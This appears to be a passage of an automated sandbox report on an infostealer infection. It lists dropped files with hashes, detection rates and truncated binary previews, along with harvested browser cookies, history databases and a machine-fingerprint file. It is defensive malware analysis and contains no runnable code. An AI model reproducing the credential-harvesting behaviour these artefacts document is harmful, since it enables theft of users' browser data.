Firefox\distribution\policies.json.3.chrome/browser/content/browser/built_in_addons.json.i.C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\addonStartup.json.lz4.%.chrome/toolkit/content/global/xul.css...res/contenteditable.css.$.chrome/toolkit/res/counterstyles.css...res/designmode.css...chrome/toolkit/res/forms.css...chrome/toolkit/res/html.css...chrome/toolkit/res/mathml.css...chrome/toolkit/res/noframes.css...chrome/toolkit/res/quirk.css.!.chrome/toolkit/res/scrollbars.css...res/svg.css...chrome/toolkit/res/ua.css.0.chrome/en-US/locale/en-US/global/intl.properties.I.chrome/en-US/locale/en-US/mozapps/downloads/unknownContentType.properties.-.chrome/en-US/locale/branding/brand.properties.=.chrome/en-US/locale/en-US/global/layout/htmlparser.properties.1.localization/en-US/toolkit/about/aboutPlugins.ft

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\startupCache\urlCache.bin (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	3598
Entropy (8bit):	4.795088905426916
Encrypted:	false
SSDEEP:	48:cxwneU3deLVegWWKmWtoBYjYdYgbbYgbqhNTKWeRryLPZefSyWr9HicStpRtNm7d:cxFU3Wu38qgbkgbIKKRCUOt9Jr/d8
MD5:	4C9B7AF3A91F533B05787C0037C5824A
SHA1:	80382C72C21C7C34876356FA04DDD47F35CF080F
SHA-256:	1818B78286ADEDBDD8967FDD35CEAD68FB0D0F4C45860E76223CC04E9D5DDBE4
SHA-512:	912F844EBD0500442010F9EC32FBEC813D383C5717888C340F4247A46ECAB3F65B3CCD0CA79A6A9989956FAA7A61F7F9AD724F4DC7F269B0681CFDF10210B2DF
Malicious:	false
Reputation:	unknown
Preview:	mozURLcachev003......}.A.a.C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\xulstore.json.;.C:\Program Files\Mozilla Firefox\distribution\policies.json.3.chrome/browser/content/browser/built_in_addons.json.i.C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\addonStartup.json.lz4.%.chrome/toolkit/content/global/xul.css...res/contenteditable.css.$.chrome/toolkit/res/counterstyles.css...res/designmode.css...chrome/toolkit/res/forms.css...chrome/toolkit/res/html.css...chrome/toolkit/res/mathml.css...chrome/toolkit/res/noframes.css...chrome/toolkit/res/quirk.css.!.chrome/toolkit/res/scrollbars.css...res/svg.css...chrome/toolkit/res/ua.css.0.chrome/en-US/locale/en-US/global/intl.properties.I.chrome/en-US/locale/en-US/mozapps/downloads/unknownContentType.properties.-.chrome/en-US/locale/branding/brand.properties.=.chrome/en-US/locale/en-US/global/layout/htmlparser.properties.1.localization/en-US/toolkit/about/aboutPlugins.ft

C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	65440
Entropy (8bit):	6.049806962480652
Encrypted:	false
SSDEEP:	768:X8XcJiMjm2ieHlPyCsSuJbn8dBhFwlSMF6Iq8KSYDKbQ22qWqO8w1R:rYMaNylPYSAb8dBnsHsPDKbQBqTY
MD5:	0D5DF43AF2916F47D00C1573797C1A13
SHA1:	230AB5559E806574D26B4C20847C368ED55483B0
SHA-256:	C066AEE7AA3AA83F763EBC5541DAA266ED6C648FBFFCDE0D836A13B221BB2ADC
SHA-512:	F96CF9E1890746B12DAF839A6D0F16F062B72C1B8A40439F96583F242980F10F867720232A6FA0F7D4D7AC0A7A6143981A5A130D6417EA98B181447134C7CFE2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<.]..............0.............^.... ........@.. ....................... .......F....`.....................................O.......8................A........................................................... ............... ..H............text...d.... ...................... ..`.rsrc...8...........................@..@.reloc..............................@..B................@.......H........A...p..........T................................................~P...-.r...p.....(....(....s.....P.....0.."........(......-.r...p.rI..p(....s....z....0..........(....~P.....o........(....n(.....(..........%...(....~(.....(..........%...%...(.....(.....(..........%...%...%...(....V.(......}Q.....}R.....{Q.....{R......0...........(.......i.=...}S......i.@...}T......i.@...}U.....+m...(....o .....r]..p.o!...,..{T.......{U........o"....+(.ra..p.o!...,..{T.......

C:\Users\user\AppData\Local\Temp\1000397001\autorun.exe

Process:	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	367616
Entropy (8bit):	7.868902079164761
Encrypted:	false
SSDEEP:	6144:7Lnm91i1m7pJ4OlXq/XN3qq1BCDcFJ5eUE8Dod5w6EUdEjzOdIj:Pm90E7pJvq/t8cFJ5vELrTdEjz
MD5:	70A53CEA1F5F40353D5F6A6BF02A95C0
SHA1:	E8A936CD25241CA66DEAFE300E87F81F376E63CC
SHA-256:	D884369789550A8A68F06719E4D8B5378179ED94435B8AFB7BC2EADAADE695E6
SHA-512:	2B28B3C2BCD9114904848F6167ABD7C9B977D6CD56789E35D698972CECA0F5D0354BB39FD2C2FC2FAA6A90301875508378F81E9101437BEADEC586C8AC430B02
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 74%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...nX.e................................. ........@.. ..............................U3....`.................................p...K.......B........................................................................... ............... ..H............text....... ...................... ..`.rsrc...B...........................@..@.reloc..............................@..B........................H.......,...PY..........\|................................................0..V.......~....:K.........(.... .... .... ....s....(............(....(.... ....?....r...ps....z...(,...(.....0.......... .......... ............8.......(...........i]....X.. ....?........8$.......X...X ....]...................X.. ....?...........8......X ....].....X ....]..................&...& .=.e 5..Pa~y...{....a(....(...............X ....]..........%q........a........X......i?w.................&

C:\Users\user\AppData\Local\Temp\1000400001\setuppowergrepdemo.exe

Process:	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe
File Type:	HTML document, ASCII text, with very long lines (5395)
Category:	dropped
Size (bytes):	6609
Entropy (8bit):	5.249179673762449
Encrypted:	false
SSDEEP:	96:k2J/SNi/FLQVTLKCGWz5ln59Jy0jRdoMVZTdI5:k2pV2RKCxDnxyTMVZT0
MD5:	307DCA9C775906B8DE45869CABE98FCD
SHA1:	2B80C3A2FD4A235B2CC9F89315A554D0721C0DD1
SHA-256:	8437BD0EF46A19C9A7C294C53E0429B40E76EBBD5FE9FD73A9025752495DDB1C
SHA-512:	80C03F7ADD3A33A5DF7B1F1665253283550DAC484D26339ECD85672FB506DCE44BD0BF96275D5C41A2E7369C3B604DE377B7F5985D7D0D76C7AC663D60A67A1C
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="en">. <head>. <meta charset="utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1">.. <title>Not Found</title>.. Fonts -->. <link rel="preconnect" href="https://fonts.gstatic.com">. <link href="https://fonts.googleapis.com/css2?family=Nunito&display=swap" rel="stylesheet">.. <style>. /! normalize.css v8.0.1 \| MIT License \| github.com/necolas/normalize.css /html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}a{background-color:transparent}code{font-family:monospace,monospace;font-size:1em}[hidden]{display:none}html{font-family:system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji;line-height:1.5}*,:after,:before{box-sizing:border-box;border:0 solid #e2e8f0}a{color:inherit;text-decoration:inherit}code{font-family:Menlo,Monaco,Consolas,Liberatio

C:\Users\user\AppData\Local\Temp\25ca31b2-e03b-4165-ba1a-b92fadabfa72.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Temp\39380ed6-6dd8-4304-864c-3c088524fafb.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	31335
Entropy (8bit):	7.694019108205432
Encrypted:	false
SSDEEP:	768:514ugFV0910SWyR5kNVdS3sNp/xm3MbiMuYEDlyFUyv6E/ty8:5WcDWyRKNVd2M/IxMuYEDlymsTQ8
MD5:	6B72597205C77D3E40E1A35BEE403801
SHA1:	6BECEE055C6E057AF9475B6D651B4EE561D02F20
SHA-256:	C899297FBDFC88C1634B1145A087FDB5BE17172FD786C078B299557B22F06DEB
SHA-512:	7CB1A98E0C7FBB349D9CB681233A9F4ED22A1C3FAADCDF1BC270B04BD97D3FC41AB6F762B2F5F231281D63D96AC3D243640BA81D5E8CCD9F54486B4F538CA8B4
Malicious:	false
Reputation:	unknown
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\6983983f-26e9-4ded-a11c-48176410d0e6.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.411891454872507
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0jMJZ5FQH59x5y:JIVuwEw5MUFZLBQLtE0bG9Dy
MD5:	80708B3A3116409F7CDC0760D0A3826A
SHA1:	451A0A651FD0AD4EA49257A0B3A19FC722D1CD2F
SHA-256:	2B7414DDB3ADD24F3C4149AC9642A2B220DB1E3991A4C215777082D3AF9BDC59
SHA-512:	1BF9826B1EBFD5CF6218A4019B01315CA1B53EBA1978C8F79A0387EFCB4E32D0473A4B81003FD5CD066EA45DBF89A3C13D75825403D3EA6488DE50F5C2812639
Malicious:	false
Reputation:	unknown
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\d4dc4bde-1a64-4d0e-b33e-40ef35b7a720.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	91671
Entropy (8bit):	7.8774767243532695
Encrypted:	false
SSDEEP:	1536:B2Y2RUm46OClYKr5DXyzN0iFD8xPT4jobgdNhBKDyU4W3NrUeNWy4cSbJUl4yv:8L9prNyzFB8hGXnhouer/W0KJ+4i
MD5:	2BBD469CC894351258066DB2023D206B
SHA1:	3EF9EA3B62E43301B6287361B16AC01F5780AD35
SHA-256:	70CE55C69127635BCB579E1878C4C74F7707BD708CD57273E8B4891459A6A0EF
SHA-512:	421F3D78F5C132243B78C73FE7660BB3E045E83E30C0B3A2D6597E0C9E3C19DD4681491981E3C3A649C1E4E2A91BD982529234DA8DA1BFFB46651B74321E34D4
Malicious:	false
Reputation:	unknown
Preview:	Cr24....e"........0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........V....h.[..9..?..R...a.y..x....P..o...Tc.<^.N..S.....c$j.jZ...t.A.3...H..._....Q.Sx.{7...<......wO.......%>..ZGs......K...&..ua#.>......E.a..2u;...\|.^yU........o......!.;7..E;.3.~..B......W.a!....O.q.z...yd...)3.6...f..?.B..G.......]'-.....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ..O7..~.y.G..!s(........Faul.... .G..GZ.. <tS..28/22dlO.V...&...".>...........\|]s.<{._.........l...X".}.:.{...A`....y.{..y..v.=....d..\|-].k-.........4.O.......4myn.ij>...?.......?..87......Sy.R..k.U.kI.Z..........\|,.....[........(C=..[..t4..c....>....=..^.._.._P.......z.}).;.9>}./m,..Z..u...`.g6...P.....k

C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Process:	C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1388032
Entropy (8bit):	7.984359427417673
Encrypted:	false
SSDEEP:	24576:BvDkFjI51Dta/7Q++3OP4fNXP2ltMGbVRO/LpgP0I5a5BzRznROFQIyrGn:BvgyHtg7ie0NXP+ZCTI5aDzCCIyrGn
MD5:	F3CFA7E6835A51B52B5B2F4173C5D047
SHA1:	93F1E90F3D19D26627064E64D691D28479C67273
SHA-256:	265BA94B8B506CB5CF03BEEFBAB38AA9358801E0F8420226E120A224D18262EA
SHA-512:	8259F98C1F1473CF9C3C4A66BAA822AC74328F8DFAD1883CD2F4CD23CF31CA17ED2369D308E86079694C132BE834DFE047F8FD1ACA84DE5500C0123CA752E87A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......wD..3%..3%..3%..hM..=%..hM...%..hM.. %...H..!%...H..'%...H..F%..hM.."%..3%...%...K..2%...Ko.2%...K..2%..Rich3%..........................PE..L...l.e..............................?...... ....@...........................@...........@... .. .... .. ..................P.1.<...........................0.1...............................1......................................................................<..................@............ ... ...j...@..............@............P...@......................@.......................................@............P.......<..................@....rsrc...............................@.............).........................@....data....@....0..@..................@...........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\de0487fa-74c1-4873-bb0d-df473b3121d2.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	10987
Entropy (8bit):	7.9533289149420625
Encrypted:	false
SSDEEP:	192:BEhlw81PmHlmu6H0wbcosQxhTHGPJz4y4iqooeIfU+TEsegckOE7A4t:eP1+H8h0YNF3rGP+y4eIfUoEtkO+AA
MD5:	7AA0C0B17FEED14023C4FB189AA6072D
SHA1:	0B571B13F28AFCD96915108042BEB13A623A3CDA
SHA-256:	78AD07BCACBCB23C274D025F38746FF766FA4EBA41EE1AA68C238E329837DC09
SHA-512:	9C0E3D35EB32E8C1E907C6D1C45776235E31B979C8BE05767E6802186EDDB4D9EE337972A39E150DBE1C464E8BA391F401ABC69FB41700DA4E70E2EC624901E6
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g........l....O.<. ]...U....E_.%=...N/`.^M^..<...t....g...z..^.H.Z.-....P.[F..@..`?.9X.%.. .7.}.Ul#.^....kZ.~n....N`..}S.V....$.co.....&..A/..?~aR.I..3S...`q5........AX....h.s.[h..`......3..._sQ...k.+....;..Jm.H.......k.-.<...%.?`.d7ti.p..D:.........0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e..............U.:..R.....\|.0+....Z.......s.<.=e.pkS..>.b.)..M-%.......Oe.A.W.x]\|.4o....ij..c...La$.%.W.KU.A#.8....9..F}....?...

C:\Users\user\AppData\Local\Temp\jobA3D66hfr61WFM1U\Cookies\Chrome_Default.txt

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	530
Entropy (8bit):	6.005544722730675
Encrypted:	false
SSDEEP:	12:c7F2v4kMx/6UsMbf4/LJPhvkRj6a9kuEYTCRopYxOOVtouEYv:SCJyHXbfQJPh8RdkYiFoYv
MD5:	987FB1A1830B0EB5C0D306F8A2DE9981
SHA1:	8374E6320AD99C3FF177A9889F1AB75448F6EB19
SHA-256:	5EF24A6CE57CA3048431555909EC23CD5494DA76845F84271946442249DDA891
SHA-512:	9E2A48264084B79051FC275DD7780A5552B56220459A1CDDBE6F6A307FE0E5759AE20BC243D085D9734153879AC4E66233AB83F92551DD8092EABF85B16F2D15
Malicious:	false
Reputation:	unknown
Preview:	.google.com.TRUE./.TRUE.1712298002.NID.ENC893_djEwx6CLkXLg8AuSZWCgylmAsMNnd1LSfbcL+IfCgMvX/m5IrzdSwxt6X6n5S6C7wCoUoWvuixZpzrMizGZc5ohIpmsvlOrGTOhFkQ4+lCF6fVH0QNPBBb27o2nXM8em7EAYS1bYZC2LV04SqpgyxJmdfFA7UyWUoK8kFZQDRl0vdOzWdvAoumw2skuCCtJC2oG3z3OYbLTLDbM7wYvVmfDeqtnZRihAAt+ptqI6cfY1a+KO9XP+4XkDSXW7JhsexYHBqzSSBmUisGZ7f9E=_DrTFYLsM7YVgEN6pCv/RXeb8Bq748EwHbsLCIGv1kEc=...google.com.FALSE./.TRUE.1699078840.1P_JAR.ENC893_djEwZKzV9KAslchfQWnVTck71JHMVRC24lvAWgdl5WpYIXlINsbQSVWzkKU=_DrTFYLsM7YVgEN6pCv/RXeb8Bq748EwHbsLCIGv1kEc=..

C:\Users\user\AppData\Local\Temp\jobA3D66hfr61WFM1U\information.txt

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	6124
Entropy (8bit):	5.467175402331597
Encrypted:	false
SSDEEP:	96:xv9MJRbR0HLcBC1IUlzhgmm5qYQNTvDy5BoFwyW7gHNUbg3x:xumHL84IUlzhhm5GyiB
MD5:	C5C34DB06485BF8F99009F6D3276C62F
SHA1:	10272C243626287EA5B6D60AD7522DE8AA69ECBD
SHA-256:	BA21AAFF631F63F11575E3E97BE132A7D6BB4C80410F46B1E77141C1EADC352F
SHA-512:	149BE7D7D4786CB99FFDDC327DD6DFEAC6AAA30375EC9E448918E3DBC0C520CC667EC72B519C0F936F40388600138E763B659B1180A69B2B8D7E6FEE923AAA57
Malicious:	false
Reputation:	unknown
Preview:	Build: bund..Version: 1.3....Date: Thu Jan 18 00:34:17 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: 1e74e5c57d073dd34200681bba2d9861....Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe..Work Dir: C:\Users\user\AppData\Local\Temp\jobA3D66hfr61WFM1U....IP: 154.16.192.193..Location: US, New York City..Windows: Windows 10 Pro [x64]..Computer Name: 472847..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 18/1/2024 0:34:17..TimeZone: UTC1....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [328]..csrss.exe [412]..wininit.exe [488]..csrss.exe [496]..winlogon.exe [560]..services.exe [632]..lsass.exe [652]..svchost.exe [752]..fontdrvhost.exe [780]..fontdrvhost.exe [788

C:\Users\user\AppData\Local\Temp\jobA3D66hfr61WFM1U\passwords.txt

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\02zdBXl47cvzHistory

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\02zdBXl47cvzcookies.sqlite

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\2jQJv37iJ0lzCookies

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3b6N2Xdh3CYwWeb Data

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3b6N2Xdh3CYwplaces.sqlite

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Reputation:	unknown
